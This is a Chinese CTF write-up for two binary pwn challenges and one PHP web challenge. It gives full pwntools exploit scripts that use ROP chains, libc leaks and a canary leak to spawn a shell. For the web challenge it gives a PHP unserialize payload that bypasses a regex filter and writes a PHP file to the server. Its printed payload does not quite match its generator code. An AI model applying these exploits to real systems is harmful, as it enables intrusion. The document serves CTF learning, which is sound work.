pwn1
64位程序,只开启了NX(栈不可执行)保护,试着运行发现是一个菜单题,选项二、三没用
拖到IDA中查看,发现在encrypt选项中存在gets造成的栈溢出漏洞
不过输进去的字符串被分段异或了,我们可以先进行异或一下,然后在输入程序中,程序再异或一下就是我们想要的payload了
当时写脚本的时候发现流程劫持后,第二次发送payload的时候,payload没有被程序异或,直接打就可以(这里耽误了我一点时间,失分了)
EXP:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#r = remote("172.29.29.110",8888)
r = process("./Emachine")
file = ELF("./Emachine")
#libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
libc = ELF("./libc.so.6")
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400B28
__start_addr = 0x000000000400710
encode_addr = 0x0000000004009A0
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
log.info("------------------------------ leak real addr -------------------------------------------")
offset = 0x50+8
pop_rdi_addr = 0x0000000000400c83
payload = offset*"b"+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
log.info(hex(len(payload)))
payload_list = []
for x in range(len(payload)):
payload_list.append(payload[x])
print payload_list
for x in range(len(payload_list)):
if ord(payload_list[x])<=96 or ord(payload_list[x]) >122:
if ord(payload_list[x])<=64 or ord(payload_list[x]) >90:
if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
payload_list[x] = chr(ord(payload_list[x])^0xf)
else:
payload_list[x] = chr(ord(payload_list[x])^0xe)
else:
payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
r.sendline(payload_change)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n",drop=True)
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
libc_puts = libc.symbols['puts']
log.info("puts_addr:"+hex(puts_addr))
base_addr = puts_addr-libc_puts
log.info("base_addr:"+hex(base_addr))
system_addr = base_addr + libc.symbols['system']
log.info("system_addr:"+hex(system_addr))
#binsh_addr = 0x000000000018cd57+base_addr
binsh_addr = 0x000000000017d3f3+base_addr
log.info("binsh_addr:"+hex(binsh_addr))
exit_addr = 0x00000000000013213
log.info("------------------------------ leak success! -------------------------------------------")
log.info("------------------------------ getshell -------------------------------------------")
payload_2 = "a"*offset + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
# payload_list_2 = []
# for x in range(len(payload_2)):
# payload_list_2.append(payload_2[x])
# print payload_list_2
# for x in range(len(payload_list_2)):
# if ord(payload_list_2[x])<=96 or ord(payload_list_2[x]) >122:
# if ord(payload_list_2[x])<=64 or ord(payload_list_2[x]) >90:
# if ord(payload_list_2[x])>47 and ord(payload_list_2[x])<=57:
# payload_list_2[x] = chr(ord(payload_list_2[x])^0xf)
# else:
# payload_list_2[x] = chr(ord(payload_list_2[x])^0xe)
# else:
# payload_list_2[x] = chr(ord(payload_list_2[x])^0xd)
# payload_change_2 = ""
# for x in range(len(payload_list_2)):
# payload_change_2+=payload_list_2[x]
# log.info(hex(len(payload_change_2)))
# print payload_change_2
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload_2)
r.recv()
# r.recv()
sleep(0.2)
r.interactive()
pwn4
这个pwn当时没做出来,还是自己不认真,题目并不难,感觉有点亏
64位程序,开启了canary保护和NX(栈不可执行)
拖到IDA中查看
在main函数中调用了四个函数
漏洞点在最后一个函数,第一个漏洞点就是scanf输入-
或者是+
的时候会泄露出栈上的值(当时也不知道这个点)
第二个漏洞点就是change功能时,没有限制base数组下标,造成任意地址修改,不过每次只能输入4个字节的数据并且是int类型
改变之后会根据改变的个数来排序payload,但是27没有限制进去,所以我们用27来绕过排序
Exp:
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#nc 172.29.29.113 8888
#r = remote("172.29.29.113",8888)
r = process("./pwn4")
file = ELF("./pwn4")
libc = ELF("./libc.so.6")
r.recvuntil("do you would to sort your girlfriends?[Y/N/@]")
r.send("@")
r.recvuntil("please answer the question1:")
r.send("^")
r.recvuntil("please answer the question2:")
r.send("^")
r.recvuntil("please input your name:")
r.sendline("radish")
r.recvuntil("how many girlfriends do you have?\n")
r.sendline("30")
for x in range(10):
r.recvuntil("girlfriends:")
r.sendline(str(0))
for x in range(2):
r.recvuntil("girlfriends:")
r.sendline("-")
for x in range(18):
r.recvuntil("girlfriends:")
r.sendline(str(0))
r.recvuntil("this is the sort result:")
data = r.recvuntil("you can change your girlfriend\n",drop=True)
list_1 = data.split(" ")
list_2 = []
for x in range(len(list_1)-1):
if eval(list_1[x])<0 or eval(list_1[x])>9:
list_2.append(eval(list_1[x]))
for x in range(2):
if list_2[x]<0:
list_2[x] = hex(0xffffffff+list_2[x]+1)
else:
list_2[x] = hex(list_2[x])
if list_2[0][-2:]=="00":
canary = list_2[1]+list_2[0][2:]
canary_1 = list_2[1]
canary_2 = list_2[0]
else:
canary = list_2[0]+list_2[1][2:]
canary_1 = list_2[0]
canary_2 = list_2[1]
log.info("canary: "+canary)
log.info("canary_1:"+canary_1)
log.info("canary_2:"+canary_2)
r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")
#gdb.attach(r)
for x in range(10):
r.recvuntil("now change:\n")
r.sendline(str(1))
#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2)))
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1)))
#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1))
pop_rdi_addr = 0x0000000000400d93
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400895
#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))
#data1
r.recvuntil("now change:\n")
r.sendline(str(int(puts_got)))
r.recvuntil("now change:\n")
r.sendline(str(0))
#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(puts_plt)))
r.recvuntil("now change:\n")
r.sendline(str(0))
#ret3
r.recvuntil("now change:\n")
r.sendline(str(int(main_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))
for x in range(5):
r.recvuntil("now change:\n")
r.sendline(str(0))
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
base_addr = puts_addr-libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
binsh_addr = base_addr+0x000000000017d3f3
log.info("puts_addr:"+hex(puts_addr))
log.info("base_addr:"+hex(base_addr))
log.info("system_addr:"+hex(system_addr))
log.info("binsh_addr:"+hex(binsh_addr))
def change_addr(data):
data_hex = hex(data)
a = data_hex[:6]
b = "0x"+data_hex[6:]
return eval(a),eval(b)
system_addr_1,system_addr_2 = change_addr(system_addr)
binsh_addr_1,binsh_addr_2 = change_addr(binsh_addr)
r.recvuntil("how many girlfriends do you have?\n")
r.sendline("1")
r.recvuntil("girlfriends:")
r.sendline("1")
r.recvuntil("you can change your girlfriend\n")
r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")
for x in range(10):
r.recvuntil("now change:\n")
r.sendline(str(1))
#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2)))
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1)))
#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1))
#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))
#data1
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_1)))
#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_1)))
for x in range(7):
r.recvuntil("now change:\n")
r.sendline(str(0))
sleep(0.2)
r.interactive()
web1
给出源码,很容易发现这是一个对象注入的题
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
class BlogLog {
public $log_ = '/tmp/web_log';
public $content = '[access] %s';
public function __construct($data=null) {
$temp = $this->init($data);
$this->render($temp);
}
public function init($data) {
// No, you can't control an object anymore!
$format = '/O:\d:/';
$flag = true;
$flag = $flag && substr($data, 0, 2) !== 'O:';
$flag = $flag && (!preg_match($format, $data));
if ($flag){
return ($data);
}
return [];
}
public function createLog($filename=null, $content=null) {
if ($this->log_ != null)
$filename = $this->log_;
if ($this->content != null)
$content = $this->content;
file_put_contents($filename, $content);
}
public function render($k) {
echo sprintf($this->content, $k['name']);
}
public function __destruct() {
$this->createLog();
}
}
$data = "";
if (isset($_GET['data'])){
$data = $_GET['data'];
new BlogLog($data);
}
else
highlight_file(__FILE__);
销毁对象的时候调用createLog函数,createLog函数会利用file_put_contents创建一个文件,并且unserialize的参数我们可控,所以造成对象注入
题目限制
- data不能是一
O:
,也就是说不能是对象的反序列化后的字符串
- 字符串中不能有
/O:\d:/
,我们可以在长度前面加上+
来绕过
构造payload
<?php
class BlogLog {
public $log_ = './radish.php';
public $content = '<?php phpinfo();?>';
}
$a = new BlogLog();
$arr = array("luobu"=>"radish",$a);
echo serialize($arr);
?>
payload是a:2:{i:1;s:3:"wxm";i:2;O:+7:"BlogLog":2:{s:4:"log_";s:12:"./radish.php";s:7:"content";s:18:"<?php phpinfo();?>";}}
进行URL编码一下就可以创建文件了